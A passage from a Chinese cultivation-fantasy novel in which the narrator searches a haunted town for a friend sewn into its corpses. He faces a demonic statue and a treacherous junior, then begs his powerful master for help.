徐昭顺着我的话,“原来你也有好奇心。那要不然,你来我们盛阳派?你放心,以我担保,我师尊定会收下你,不会叫你流落街头。”
我哂笑:“没听说我的事?”
他有心试探我?
徐昭的语气透着满不在乎,大大方方地承认,“我知道啊,一回去就打听了,不就是弑师弟疑似入魔吗?真假我不知道,但我没见你坏到哪儿去,也就是你们玄清宗规矩多,放在我们小门小派都不是那么严重的事儿,只会让你滚远点。”
他刻意略去听说到的惩罚部分。
我毫无动容,只觉得徐昭此人似是有疾。
“不必。”
徐昭沉默了下来,转而看向周围。
片刻后,他轻声道:“郁负雪,你有没有觉着这儿比芙气镇还邪门,我刚进来眼睛一花,镇子就成了这模样。”
谁也没提刚刚的不快,我这次接话道:“那还真是巧,什么时候来的?”
徐昭回忆了一下,“师弟师妹们缠着我好半天,我是在黄昏将尽时来的。”
我淡淡道:“徐昭,你和镇子都挺有缘的。”
已经能看见那如同闹市一样的地带。
碧泉镇外圈是一群化作死尸的人,面容或身躯,都有缺损的地方,而眼前的场景,满是灯光和热闹气儿,远远就见铺子里人影攒动。
徐昭压低声音,没有贸然放出神识窥探,以免惊动这些还不知是什么的人。
“他们这什么情况?”
他既然已经知晓我情况,我也就不再客气,偏头问他,“能看得清吗?”
徐昭眯起眼睛,只单用目力去观察。
而我则闭眼,同那时在芙气镇一样,将所有的感觉集中于耳坠,通过声音波动的回荡,在脑中描绘出大致情景。
碧泉镇的构造变得有些陌生,镇中心凭白空出一块极大的圆形场地,四周的房屋挤在一起,大部分紧密相连,屋檐之间还架着倒下的长竹竿,上面有规律的挂着类球型物体。
地面裂开,并不妨碍人行走,纹路像分叉的树根,也像河流。我来时看见的那些细小裂缝就是从中心蔓延过去的。
那裂缝之下有东西,单借着耳坠是辨不出的,我只感觉它们是液体。
再向中心高大的东西看去,我浑身一凛,骤然睁开眼。
那
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中心点竖立着的,是一座巨大的雕像,手捻长针,头盖薄纱,和芙气镇不同的是,这座雕像的左手并非虚托着空气!
而是多出一个由眼珠密密麻麻垒成的宝塔,由低到高依次减少,诡异又神圣!
又是诡渡傅!
“怎么了?”徐昭疑惑地看向我。
我神色复杂地看向他,徐昭当时应该在地底,没有看见芙气镇的罪魁祸首长什么样。
可诡渡傅不是芙气镇的传统供奉吗?为何碧泉镇也会出现一只相似的?
缝人躯体缝人魂,难不成手上多个宝塔,就能缝出一个阴阳两界中间的镇子!
徐昭见我不答,先开口,“应该都不是活人了,他们行为看似与常人无异,但我亲眼看见一女子把自己头摘下来在粉匣子里滚了一圈又拿起来按上……”
我抬眼望去,从这个角度,只能在层层叠叠的建筑顶瞄见诡渡傅最上方的一点薄纱尖。
我打断徐昭的话,和他说起芙气镇的事。
听完我说的,他愣住,表情慢慢严肃起来,“所以那个什么诡渡傅不止一个?可为什么?魔修弄出来的?他们也拿自己人试了?”
我摇头,“现在还不知道。”
李晏京来这儿是否和诡渡傅有关。
那他为什么和我说碧泉镇并不危险。
但这次我无意和那诡异雕像对上,李晏京去哪儿了我并不关心,我只祈祷程月舒不要进来。
如果诡渡傅也和他有关,那么他早就和魔修勾结,孟竹臣与常善落难必定和他有关。
他再次来碧泉镇也不是什么带弟子历练,可能是从哪儿知道孟竹臣两人未死,前来杀人灭口以绝后患。
我转身返回一家客栈,已经是死尸的掌柜在前台低着头,徐昭跟着进来。
“你做什么?”
我弯腰看了眼掌柜的,默念三声抱歉,然后伸手摘下他头上的布巾,有些嫌弃的缠于手腕,接着又在他衣摆撕下一条,灰尘溅起,我躲了躲,起身缠到另一只腕上。
这么做只是为了保险,我也不确定需不需要,按以往经验来说,遮掩一下气息不坏事。
介于需要徐昭的帮忙,我垂眸直言:“我来这儿是为了找两位朋友。”
“又是为朋友?”徐昭若有所思道。
他也学我,将目光投在角落里的人,那人上半身断开,趴在桌子上,下半身还稳稳当当地坐在椅子上。
徐昭将他腰间用来拴酒壶的布条解下,一圈一圈的缠绕在小臂上。
他看我几眼,想到什么,揶揄道:“我以为这么脏的东西,你是下不了手的。”
我正思索着诡渡傅的事,闻言,淡淡反讥:“没想到徐昭道友这么关注我。”
徐昭绑好布条,抬起头轻轻一笑,“早听闻云秀峰的大师兄有些洁癖,看来传言终究只是传言,不可尽信。”
我缓声道:“……是啊,传言还说我目中无人,你看我像?”
徐昭放下手,哈哈大笑。
“像!初见你就觉得你眼里当放不下任何人。但你一找陈青芜,二找两位朋友,屡屡为他人犯险,着实令我惊奇。”
“成为你的朋友,竟有如此好的待遇?”
28. 进不得退不得
我微微皱眉,没有回答。
徐昭熟练地岔开话题,“郁道友有所不知,碧泉镇已经来过好几批人了,只是全都下落不明,你猜他们去了哪里。”
确认身上有死尸的淡淡气味后,我和徐昭前去碧泉镇热闹的那边。
耳边尽是人声,嬉笑不断,好不痛快。
“有来无回,要么被已死要么困,那是他们自己的原因,再者就是被捉走,人数不够,祭品不足,所以现在还没有动静。”
徐昭跟在我身边,手臂搭在剑柄上,声音轻悠,“嗯哼?还有第三种——来者无能,自导自演,便传的愈发神乎其神,可能他们连诡渡傅的面都没摸着,就一个个儿的吓得要死。”
这让我想起程月舒带来的那群弟子,上来就接这么个没有回路的历练任务。
该说程月舒的威望树立之快,还是他蛊惑人心的本事之大。
行走期间无人注意,我便随意选了家人多的店钻进去,混着霉味的脂粉气以及臭烘烘的腐烂味布满整个空间。
身后徐昭“嚯”的一声,屏住了气,我稍稍遮掩口鼻,往人墙里钻。
挤进后,人围着的是一方朽木牌桌,每一边都坐着一人,他们甩出面前排列的一截指骨,中间散落的骨头面上落着几条黑杠或者黑点。
在我旁边的人手背在身后,他的后背裂开,伸出一只灰藕似的胳膊,拿着一个指骨松手,那指骨便掉在那人手心,被塞给最近的娘子。
再向下看去,那两人的脚底竟是连在一起的——诡渡傅的缝人技术?
我转身再次挤出去。
“哎!瞎挤什么东西嘞?”
“谁家的两个孩子窜进窜出的?”
抬眼间,周遭几名看过来的男子脸色骤变,呈现狰狞鬼面,又于呼吸间变回原本的模样。
徐昭和我走出去,他弯下腰干呕一声,“好难闻,那种肉被电糊的焦味,腐烂味……”
我也有些不好受,但没有如此不顾形象。半靠在石狮子边,小声说:“芙气镇有一家人在一起的传统,碧泉镇可有?这一带我来得少,你呢?”
徐昭双手撑于膝盖,望着我愣神。
我头靠在石狮子的身体,眼睛向下看他,“徐昭,我脸上有碧泉镇史?”
徐昭回过神,直起身,“这我真不知道,”他兀自低头笑了一下,“我也来得少,我又不是在这镇子长大的。”
他复而问我,“你就打算这么干找?”
我站直身体拍拍衣摆,轻描淡写,“嗯,我倒是想把这些人都杀了,看见持折扇的男子记得和我说。”
徐昭跟过来的动作一顿,“哦。郁负雪,你戾气怎么听着比我还重。”
我冷着脸没做声,开始一家家的找过去,和徐昭分别负责街道的两边。
又拐过一条小道。
余光忽然瞥见右侧小巷口坐着个颓废的人,我无意间扫过去,紧接着,狠狠刹住脚步。
“孟竹臣!”
徐昭正发现个可疑的身影,朝我跑来,被我撞开,我朝巷口走。
徐昭退几步,“诶,郁负雪你再这样,我是要讹你钱的。”
没理会徐昭,我来到孟竹臣的面前,靠坐在地上的他仍无反应,支起一条腿,手抓酒壶晃悠,折扇不知去了哪里。
我蹲了下来,鼻间闻到一股浓烈的酒味,身后琵琶弹奏的争鸣声被二胡取缔,诡异的乐曲变换,推向高点。
孟竹臣狼狈极了,他的眼神空空落不到实处,忽而笑了一下,我顺着他视线看过去,地面只有莹白的裂缝。
“孟兄?孟竹臣?”
我一声高过一声,用手拍他,他哪里还有那意气风发的模样。
“常善兄去哪了,你的折扇呢,你现在这样是在做什么?”
我有些不耐烦。
孟竹臣仍跟丢了魂一样,手上劲道慢慢松开,酒壶滚落在地,离他手边有些距离,这酒比我的作用还大,他不理我,倒是知道歪着身子去拿酒壶。
我当即起身飞踢一脚,只剩个底儿的酒液从壶口甩飞出去,浇在地上,很快漫开。
徐昭走到旁边,指尖点地,放在鼻间闻了闻,皱起眉说:“好难闻,这什么……斛光酒?这玩意喝了不是解灵力的吗?”
闻言,我眉眼一压,弯腰提起孟竹臣,将他一把扯起来掼在墙上,力度之大,连身后的徐昭都有些看不下去,忙抓住我的胳膊。
“诶,不是,郁道友,咱有话好好说啊,别动手,和谐最重要。”
这时,孟竹臣的眼睛才慢慢转向我,眼瞳聚焦,半晌轻笑一声,声音嘶哑难听,好像剧烈吼过,他声音淡淡,没什么欢喜的情绪。
“……小负雪,是你啊,你头发怎么了。”
听到他这声音,我瞬间卸了力气。
孟竹臣变成这样,有我的过错在里面。
我松开手,他又顺着墙壁滑坐下去,弓着背,探出上半身,要去再捞不远处的酒壶。
“没什么,孟兄。对不起,我来迟了。”
徐昭在旁边拿起酒壶,没让孟竹臣碰,他看向我,小声道:“你不也……”
我轻飘飘地扫他一眼,徐昭立刻抛着酒壶,抬头看天看地,就是不再看我。
孟竹臣眨眨眼,反应迟钝,“来迟?哦……”
他坐回去,摆手呵笑一声,“与你无关啊,怎么把责任揽自己身上去了。”
我羞愧难当,沉声问道:“是程月舒?”
孟竹臣放下手,胳膊搭在膝头,慢吞吞道:“……是。”
徐昭在旁边顺着墙根蹲下来,和孟竹臣对视,他咧嘴一笑,“孟竹臣,我听说过你,你是玄清宗那个阵道天才。”
孟竹臣懒懒看他一眼,没答。
我踢了下徐昭。
徐昭扬眉,举起双手,闭上嘴。
我再次问孟竹臣,“常善在哪,有问题我们可以一起解决,孟兄。”
孟竹臣看了眼天色,笑着摇头,“来不及了,只剩半个时辰了,负雪。”
我问:“什么半个时辰?”
孟竹臣抬眸,静静地凝望着我,半晌垂下头,“在碧泉镇的时候,我们都以为只是魔修作乱。”
他和常善中途碰见可疑的人影追赶程月舒,介于程月舒修为低,又是被长辈托付的人,他们都比程月舒年长,也应该多加照料。
孟竹臣是这么想的,他率先追去,到转角后,却什么人也没有,连气息也断开。
再扭头,是跟着他姗姗来迟的常善。
孟竹臣没有太放在心上,和常善原路,并放出一只灵鸟来传讯于我刚刚的异常。
我道:“我从未收到过什么灵鸟。”
孟竹臣似是意料之中,“嗯,猜到了。”
返回后,全镇搜寻过也无甚线索,他就近在猪肚汤摊位坐下,向那摊主打听打听有没有发生什么事,大事小事都可以。
正听摊主说得起劲,陈青芜到近处他都未及时发觉,而后听了他的话,孟竹臣低头看眼前这碗动也没动的猪肚汤。
碎了个口子的白瓷勺搭在碗沿,上面还有棕色小裂纹,香味模样等再正常不过了。
况且,陈青芜看着才是更奇怪的那一方。
神色僵硬惨白,不像活人,还看不见坐在一边凳子上的常善。
孟竹臣心中警惕,表面没什么异样,还笑着奚落陈青芜,但紧接着,身后便传来一股杀气。
孟竹臣本就带了警惕心,在刹那间回头抵挡,折扇和剁骨刀相击,发出金属的碰撞声。
原本和蔼可亲抱怨着生活难题的摊主在瞬间暴起,眼珠布满红血丝,神情狰狞可怖,不远处,店铺中的镇民全都狞笑着出来。
在眨眼间,碧泉镇魔气冲天。
天,暗了。
他转头去看同伴,却发现,原本站在桌边的陈青芜已然不见,而坐在长凳的常善在他面前四分五裂。
他眼睁睁地看见常善像被撕开,又如同泡沫般消散不见。
孟竹臣目眦欲裂。
“负雪,碧泉镇早就没有活人了,我不知他们是用什么办法逃脱千机寺的法眼……这里早就被魔修掌控,我们一无所知。”
“那傻子不知道和他们做了什么交易,镇民说常善用他自己换我走。我没同意,想用自己换常善出去,他比我有本事,若出去,定有法子再回来救我。”
孟竹臣知道这是陷阱,但他当时满脑子都只有常善活生生被撕碎的画面,他提出交换时,就已经落入他们的陷阱。
所有镇民诡异的齐齐扬起笑脸,嘴角的弧度一模一样,程月舒从他们之中走出。
他圣人模样,语气感慨地说:“孟师兄,你们的感情真是令
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神仙都要垂泪,用自己换他,可以。”
镇民们接着异口同声道:“前提是你得找到他,拼上他,否则你也得永远留在这儿。”
孟竹臣捂住脸苦笑,声音闷闷的,“程月舒的身影隐没在人群中,我什么都没来得及问,他为什么和魔修勾结,为什么骗走常善我不清楚,但那个傻子怎么就上当了……”
我静静地听着,心中明白,程月舒没有再待下去,是因为他要到郊外对付我。
现在回来,是要杀孟竹臣他们灭口。
简单说罢,孟竹臣再次道:“负雪,你走吧,不必自责。着了他的道是我的过错,你能来这找我,我已经很开心了。”
“可能这是常善的命,是我的命。”
孟竹臣看我,徐昭也在看我。
我只说:“可惜我从来不信命。”
我并没有打道回府,问他寻常善的法子。
徐昭倏尔笑开,“有什么我能帮得上忙的?听着那叫程月舒的好坏啊,跟我一个仇人好像,撞了两字,怪讨厌的。”
孟竹臣这才找到机会问我,“这位是?”
徐昭扭头冲他一笑,也不嫌地上脏,腿一抻,跟孟竹臣并排而坐,“在下盛阳派徐青山长老座下大弟子,徐昭。”
孟竹臣点头,觉得自己这副状态实在不对劲,下意识要去捞徐昭手中酒壶。
徐昭耍戏法一样抛起酒壶,它绕过孟竹臣的手,被徐昭重新稳当接住,“我说,这位孟兄孟道友,这斛光酒喝着确实舒服,但不能当水喝啊,你这五感比凡人都要差上几分了,还能找那什么常善兄吗?”
孟竹臣猛地一颤,低下头攥紧手,“对……对……”他喃喃道。
魔修贯是会捉弄人的,他们乐得看孟竹臣在这里,为常善心甘情愿的潦倒。
“他们告诉我,常善被缝在不同人的身上,具体被分成多少,他们不知道,在谁身上,他们也不知道。”
这就要看孟竹臣的本事了。
“只有喝下斛光酒,灵力被分解,我才能听见窸窸窣窣声音里,被缝在人身上的常善的记忆声音……”
灵力在这里反而成了他的阻碍,所以孟竹臣不停地买酒、饮酒、找人,如此循环,将自己灌得烂醉。
我微怔,和徐昭对视,用口型道:“诡渡傅。”
徐昭点头,他尴尬地对孟竹臣笑,还是道:“你是说……你的那个朋友被分成好多份,我们要把他一片片找出来,再拼起来。”
孟竹臣笑得很难看,“嗯,是这样。”
我站着,他们两人坐着,我静静地看着他们,只觉得孟竹臣命不该绝,但常善没救回来,他估计会就此颓废下去。
我应该去找谁?
孟竹臣胃里一阵翻涌,他单手捂着腹部弓下腰,徐昭在旁边拍拍他的背,时不时瞥我脸色。
我后背冒出丝丝冷汗,李晏京为什么偏偏在我最需要他的时候不在。
而陈青芜因思旧,去了千机寺,不知有没有被卷入此间地界。
我记得佛门有一道法诀,可以聚人魂,远比玄清宗那些记载的道法口诀要管用。
可我当时没有阻止他,李晏京也没有!
等一下……
我呼吸微滞,立刻攥紧拳头。
李晏京好像不怎么支持我干扰他人命运,清月的事时,他就提点过我,那是我的因果,陈青芜的事,他拦过我,不想我插足。
如今,孟竹臣和常善两人的命运,他的确没表态,却亲自带我来了碧泉镇。
他要我亲眼看着两人走向结局。
我回过神道:“孟兄,你可有什么常兄的东西。”我不甘心。
我如果真的信因果、信命运,断不会攀附于李晏京,也绝不会胆大地觊觎他的价值。
我放下手,捏着腰间玉佩,巷口外鬼影重重。
孟竹臣眉头紧皱,徐昭视线移到我的手上,他没说话,徐昭叫我不要冲动。
我淡笑。
我最是怕苦怕累的,本想草草结束这一生,却因阴差阳错的冲动,心甘情愿地被季无涯领进修真界,如今半只脚踏在仙门梦上。
进不得,退不得。
仇恨满心不得咽,日夜折磨,只端得是云淡风轻罢了。
再坏能坏到哪儿去呢?
我轻笑道:“所以,有吗?”
29. 就像你讨厌我
孟竹臣从怀中掏出个陈旧的剑穗,已经起了毛边,“这是常善送给我的。”
我接过它,又将腰间玉佩解下,准备转身离开,寻一处稍微宽敞的地方,“不必跟来。”
就在这时,斜上飞来一影,直直袭向我,徐昭瞬间拔剑,前踏一步,剑尖伸出向上而挑,那物便旋着被打到一边。
孟竹臣和徐昭两人挡在我的身边,自屋顶落下一人。
是陈青芜。
“负雪。”
他的声音冷肃,隐含警告。
陈青芜弯腰捡起剑鞘,皱眉看着我,我知他不快,但没有松开手中玉佩。
溪城一幕他是知道的,我手上盘龙玉佩起何作用,他也清楚。
“陈青芜,你怎么也来了。”孟竹臣放松道,“真是对不住你们。”
徐昭耸耸肩,走到一边让开路。
陈青芜看向孟竹臣道:“孟竹臣,我们之间就不必说这些了吧,换做是我或者负雪在这儿,你们会不来?”
孟竹臣失笑。
我在巷口背光而站,用暗月剑的剑柄戳徐昭的后腰。
他正看着两人对话,被我一戳,反应极大,折腰躲开,扭头小声问我,“干什么?”
我扬起下巴点点那两人。
徐昭斜看着我的眼睛,光照在他眼瞳中,橙黄的,我以为他没懂,要开口直接让他解释。
诡渡傅那边总要有人牵制,人多我就不用走那极端的路子——找李晏京求助。
徐昭抱臂,无可奈何般一笑,轻飘飘道:“郁道友可真是会使唤人。”
随即转头,打断叙旧的两人,将芙气镇的事简单同他们说了。
我摩挲两下盘龙玉佩,弯腰用它去磕地面的裂缝。
但那缝隙之下流淌的莹白叫人看得见摸不着,手伸过去,只反射出点白光。
我站起身,把玉佩绕回腰带。
“你们去找,我去诡渡傅那边吧。”
徐昭解释完,我如此开口。
孟竹臣皱眉,“不行,负雪,听着它比你们碰见的那只还要凶恶,谁知道它手上的塔是什么东西。”
我淡笑,不做解释,目光看向陈青芜,若有若无的碰一下腰间的玉佩,“陈兄会同意的。”
陈青芜脸色有些冷,他并非对李晏京有意见,只是参禅的佛道老祖形象破灭,他并不尽信李晏京,“你确定那人一定会……?”
我仔细想了想,“不确定,但比你们去要好,我有法器符箓在身,不必担心。”
孟竹臣觉得不大对,“你们在打什么哑谜?负雪,这其中有什么我不能知道的?”
徐昭笑着晃身靠近,想勾我的肩膀,被我躲开,也不在意,手顺势背向身后。
“那我和郁道友一起呗,我虽然不是很厉害,但还是能起点儿芝麻粒大小作用的吧。”
我移开视线,“徐昭,你帮他们。”
徐昭笑吟吟道:“郁道友,我们一不是同门,二不是朋友,我想去哪儿你管不着啊。”
我抽出暗月剑,“行的。”
徐昭忙用剑鞘挡住,我并未动真格,只是不满他添乱。
他抿紧唇,见我不为所动,半晌妥协道:“知道了,郁负雪,你这可算欠我大人情,以后我出事了,可一定要来救我啊。”
我嗤笑收手,对他们点头。
“要尽快。”
我穿过从墙头猫着腰踩上屋顶,整个人伏低身子。
屋舍间的廊桥断开,倒下横在檐间的长竹竿上,挂着的是一个个纸糊的人头,眼珠的地方破了大口,红唇绝艳,鬼气森森。
我狠狠闭眼,再向广场中央的诡渡傅看去。不知是不是我的错觉,那雕像好像又长高了!
原本只超过附近最高建筑半截额头的高度,现如今却高出一个脑袋的距离!
常善的时间会不会和它有关?
我视线从它戴着石质薄纱的脸挪到它左手托举的宝塔,看清瞬间,心脏猛地一鼓,血液瞬间泵出。
我直接泄了劲儿栽在屋脊上,身子微斜,顺着瓦片就要向下滑去。
我咬着牙,及时睁眼,伸手抠住屋脊,额头瞬间冒出大量冷汗,汗珠相汇,悬在鼻尖。
“呃……”
像有东西啃食心脏一样,不停地在钻、在咬,心跳轰隆隆的。
好疼!什么东西!
李晏京曾在芙气镇同我说的话闪过我的脑海,我手指用力,攀回屋脊坐好。
魔蛊?真有他除不掉的魔蛊?
这只诡渡傅手上的鬼眼佛塔如此邪异!我只扫一眼,魔蛊就被惊动!
腹中幽冥火嗤地燃烧起来,我引动青焰,要用火绕住心脉炙烤魔蛊,我能感觉刚刚魔蛊钻得极深,不太好动。
但我哪里受过这种折磨,当时在悬牢之下,也只是寒冷和钝痛罢了,心脉的疼却是整个蔓延出去的,抓心挠肝也无法取出。
我睁开眼,剧烈地喘息,低下头,汗水便顺着落在衣摆。
腰间的玉佩轻动,其中传来暖意,独属于李晏京的灵力渗出,流入我体内,有意识般摸索到我的心脉,灵力点于心脏剧痛的那一点。
我好受许多,却也更为恼火。
蓦地,碧泉镇剧烈震动起来,长杆上的纸脑袋无规律地碰撞在一起,纸破开,镇上悠悠扬扬的诡谲音乐瞬间劈了个叉,增到个吊脖子的高度,戛然而止。
我站起身,一手持剑,翻手飞出数道符箓悬浮于诡渡傅身周。
那些人都跑了出来,各种奇怪的叫声混在一起,我垂眸扫过,还有狗头和男人的头相互交叠出现在同一具身躯上。
而中央的诡渡傅身形再次暴涨几分,随着震动,身上扑簌簌掉着石屑。
我闭眼,在摇晃中稳住身形,声音勾勒的形象里,诡渡傅雕像的表面出现许多细小裂痕,须臾间遍布全身。
我取出储物戒中番域钵,钵体变大,化作六道影,口对诡渡傅,从中窜出成人臂粗的锁链,一圈一圈捆于其身。
它托着的鬼眼佛塔顶的眼珠率先眨了一瞬,眼瞳极速飞转,最后穿过层层障碍,定格在我的方向。
镇口方向大片建筑轰然倒塌,余震波及我脚下的酒楼,我骤然睁眼,捂着心脏跃下屋脊,回头看去,远远的夜色中,李晏京周身围着数十位高阶魔修。
前仆
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后继,源源不断。
碧泉镇地缝下的莹白随着震动,开始不断闪烁,如老树根茎一样活动起来。
我落地后卸力翻滚一圈,下意识朝李晏京的方向跑去,很快冷静下来,转身逆着人群,一剑劈开道路。
这是否又是李晏京的一出戏码,我去找他后诡渡傅出现问题,孟竹臣他们可怎么办。
李晏京不值得我这么做。
他不是渡劫期么,那么,那一点魔修对他而言,顶多是群在南玄仙尊面前乱蹦的臭虫,算不得什么罢。
刚刚闭眼直面诡渡傅时受到的影响比睁眼时小太多,我干脆闭眼,拿出清明灵纱覆于眼前。
逃跑的人中,有其心不善之人,见我孤身遮目而立,便一家子现形,壮汉双眼中挤出细长的黑影,两老人头发稀疏,随着游弋飘荡,黑口大张,走前还惦记食我。
我一剑斩妖魔,诛尽异邪心。
诡渡傅手中所捻的长针表面石屑尽数剥落,露出银白针尖,鬼眼佛塔睁开大半,我走近,它们齐齐扭动,挤在一起,咕叽作响。
我又祭出青铜剑,剑自有正气,分成四十九剑刺向诡渡傅周身,鬼眼佛塔发出红光,与之对抗。
青铜古剑一出,消耗巨甚,丹田的幽冥火快要把我灼穿。李晏京并没有告诉我,过度引动青焰会发生什么——在我还没有完全驯服它的情况下。
云秀峰上舞过的每一招剑式自我脑中划过,我和过去的自己相互交叠。
他凭自己,我凭外力。
但剑气不变,那是我从来都拥有的东西,谁也夺不走这属于我的造化。
诡渡傅尚未完全苏醒,我要毁掉它手里的鬼眼佛塔!
“大师兄。”程月舒的声音忽然出现在我的身后,“你可要想好,常善师兄最重要的天赋神智,可在这诡渡傅的腹中。”
青焰的力量自我手掌而出,我转身推掌,什么都没有,幽冥火隐有不稳之势,我将溢出唇缝的血抿回去。
我在黑暗中左右环顾。
程月舒高坐于客栈的外栏边,双腿轻晃,倾身看着我,“吓死我了,师兄,你知道我胆子小,最怕你发火了。”
他用他那以前示弱的语调。
论恶心人,程月舒更得此道,我不得不承认,我不及他半分。
我握紧剑柄,指节相挤咯吱作响。
“程月舒,你勾结魔修,残害同门。”
程月舒表情不变,“错了,师兄,我初进金丹,误入此地,仓皇间躲藏起来,没来得及救助同门,实属正常。”
“毕竟我还不适应自己已经是个天才的事实。”他手轻轻搭在丹田处。
“程月舒!孟竹臣他们做错了什么!”
诡渡傅头上的石质薄纱已经如同真的轻纱一样,开始伴着震动微晃。
程月舒跳下栏杆,一眨眼就出现在我眼前,我向前刺去,他侧身躲开。
“他们没错,只是你有错,谁叫他们天赋不差,与你关系甚好,我恐他们看穿我。”
程月舒靠近,凑到我耳边轻声道:“我好讨厌你,师兄,就像你讨厌我一样。”
灵纱下,我瞳孔骤缩。
30. 陈青芜的剑道
程月舒这是什么意思!
他很灵活,以躲闪为主,并不怎么出手。在黑暗里,只能捕捉到声音回荡勾勒的他左右闪避的身影。
我不欲同他纠缠,时间紧迫,转身便朝诡渡傅袭去。
程月舒再次开口,他像是知道我心中所想。
“看来师兄觉得我在撒谎,可惜,真没有。不信我没关系,只是……”
程月舒朗声道:“你敢赌吗?”
诡渡傅脸庞的石屑已全然掉落,它头盖的薄纱微微晃动,能窥见眉目慈祥的一张脸。
它缓缓地睁开眼,眼珠子转了又转,看向身边正不断攻击它的法器,灰白眼瞳中都是青铜剑迸发的火光。
耳坠透过来的黑暗中,能看见诡渡傅那石质薄纱开始晃动,诡渡傅正在由一座雕像向真实转变。
魔修们制造出这么个东西,究竟是要做什么。
程月舒再次问道:“师兄,敢赌吗?”
我不敢赌。
那诡渡傅左手的鬼眼佛塔已经睁开大半,眼珠相互挤在一起看向我。
我甚至怀疑,那些眼珠下一秒就会分崩而散,掉落在地,再纷纷把我裹住。
就算我有清明灵纱遮掩双目,却也能感觉到心脏魔蛊再次搅动,不断传来痛楚。
那些鬼眼实在是太过邪异,它们眼中的恶意和兴奋感溢出来,有灵纱阻隔都能察觉。
紧接着,我发现,随着我的靠近,诡渡傅身上的石屑掉落速度更快了。
我闭着眼,隔着灵纱,透过耳坠收到的波动,“视线”投向诡渡傅肚子的位置!
程月舒在我身后,见我缓下脚步,他捂着肚子哈哈大笑。
往日里的灿烂形象消失不见,取而代之的是一种疯癫感。
程月舒偏执,他心中的仇恨与对我的恶意比我的还要强烈。
我之前对他顶多只是心中有怨恨。
既生他,何生我。
但我从来没有真的给他使过什么绊子,也没有真的对他怎么样。
心软——是我如今落得下风的原因。
程月舒笑了片刻就重新直起身,恢复成他平日里安静又阳光的模样。
他端立在原地,感叹地说:“师兄,你不敢赌,好没胆气,好不像你。”
我收起正在攻击诡渡傅的青铜剑,再这样消耗下去,我腹中的上古幽冥火会率先压制不住。
我偏头咳出一口鲜血。
程月舒在看我,他歪着脑袋,我能通过声音回荡勾勒出的轮廓,见他仿佛在笑。
最终程月舒的目光落在我腰间的玉佩,我稍微侧身让他看清。
他如我所料,有些沉不住气,声音变调。
“原来如此,怪不得离这么近魔蛊到现在也没有爆发,都是傍上南玄老祖的功劳。”
我又拿出数十道符箓,均飞向诡渡傅,将它镇住,我并不在意程月舒的话。
“你不也是个傍上长垣仙君的货色?”
同时,我引动幽冥火,布临时阵法,小阵相嵌,分别居于八方。连接而生的巨大青色阵法瞬间出现在诡渡傅的脚下,升到它腰间。
随即,一个圆盘大小的紫阵竖着浮于诡渡傅的腹前,我拧眉微顿,那诡渡傅的腹中果然有东西。
法阵源源不断地消耗灵石。诡渡傅和它手托的鬼眼佛塔苏醒程度逐渐加深,灵石崩散成灰的速度越来越快。
“那魔蛊究竟是什么东西?什么作用?”
我抹去嘴角的鲜血,程月舒静静地站在我的身前。
他只是被我腰间的玉佩激起一瞬,很快就回过神,很谨慎的不再回答,竟是打算要我死也要死得糊涂。
我果断转过身,提起暗月剑,要将那诡渡傅的脑袋削下来。
就在这时,一道熟悉的身影落在我的身旁,一个闪身,我便被带离附近。
陈青芜他们也从另外的街道口跑来,连同着的还有从镇口那里赶来的魔修们。
徐昭往我这儿扫了一眼,捕捉到正再次躲起来的程月舒,我听见他讶异万分地叫道:“陈书?”
程月舒骤然回头,眼里凶光乍显。
是在叫程月舒?徐昭和他认识?
我强迫自己镇定,都不用摘掉灵纱,鼻尖的味道已经扑面而来,我知道是李晏京。
李晏京揽着我的腰远离诡渡傅,身形一闪,同我一起站在旁边空地。
停下的瞬间我就推开他,很快,我又重新主动抓住他的衣领,不顾在场众人的目光,直接将自己的唇贴过去。
“师祖,求你帮我。”
李晏京缓慢解开我的清明灵纱。
睁开眼睛,看见另外那边孟竹臣他们的脸色,我沉默片刻后轻笑。
陈青芜虽然知道我和李晏京的关系,但是他却头一回见到我这副模样。徐昭的脸色有些难看,气息沉了许多。
至于孟竹臣,更是瞪大眼睛,他听见我叫李晏京为师祖,想必已经清楚他是南玄仙尊。
程月舒不知道又躲到何处。
我最后才看向李晏京。
李晏京的表情不是很好看,他搂着我的腰,低头凝望着我,双眉紧蹙,我从他的眼神里读出了不快。
他没有看向其他人,声音冷沉,“等地底的黄泉河浮上来后就回去。”
黄泉河?我刹那间想到,地面那不断闪烁的裂缝,下面流淌着莹白的光。
但是我拉住他的衣袖,因心脏魔蛊钻咬的疼而剧烈地喘息一声。
那边诡渡傅手中鬼眼佛塔的眼睛全部睁开,佛塔如活物一般,其构成的眼珠相互挤压、蠕动。
李燕京皱眉,紧紧地搂住我,灵力绕到我的心脉,目光直射诡渡傅。
我急忙拦住他,摇头道:“不。”
我眼中泛起泪花,求着李晏京。
我几乎是不顾形象的攀着他的脖颈,向他索吻。我也不知道我这样做对不对,我只是不想看见朋友身死。
他们都是受我牵连,程月舒说的没错,都是我的问题,现在我想弥补这个过错。
那边陈青芜的脸色因找寻常善而惨白,神情仍严肃地看着我。
孟竹臣大喊一声:“负雪!”
李晏京淡淡抬眸,被他一看,孟竹臣顿时噎住,愣在原地。
我没有扭头,只是搂着李晏京的脖颈。我知他是凉薄之人,根本不会为他人动容,只有我有希望,我只能求他。
我对他说:“师祖,求你救救常善,再帮我把程月舒的双腿打断,拖到我的面前。”
我几乎是咬牙切齿地说出这句话。
可李晏京道:“我带你来这儿并不是为了让你救人,郁负雪。看见这脚下的黄泉河了么。”
我知道,那树根一样生长的东西。
李晏京轻轻抚过我的眉眼,“这是能融入你灵脉的天生灵宝,一旦融合,你只会比从前更加优秀,其他人不重要,诡渡傅也不重要。”
他重复道:“等黄泉河浮出就回去。”
我并不听他的,不断摇头,这最佳融合的物什没了可以再找次品,朋友却只有一个,不可再有人替代。
我求他毁掉诡渡傅,取出常善。
“只要你肯答应,事后想怎么样都行!不管是双修还是单纯用我解乏,只要你喜欢!只要你能帮我完成心愿……”
赶来的魔修纷纷落在一侧,站姿各异,有元婴期以上的高手,甚至还有大乘期,看来聚集了大部分的高阶战力。
他们身形狼狈,人员也已减少大半,李晏京抬眸和他们对峙。
那群魔修中为首的人踏出一步,他喘着粗气对李晏京道:“仙尊若执意要毁掉诡渡傅,那就别怪我们将这里的人都杀了。”
李晏京单手搂着我,淡淡道:“与本尊何干。”看样子只想顾我一人的生命。
我立刻攥紧他的衣袖轻扯。
魔修自然不会放过我的小动作,当即大笑,“看来……仙尊您身边的小朋友并不是很想您如此做。”
我用暗月剑撑着,要站直面对他们,余光尽量忽视诡渡傅,不过都是无用功。
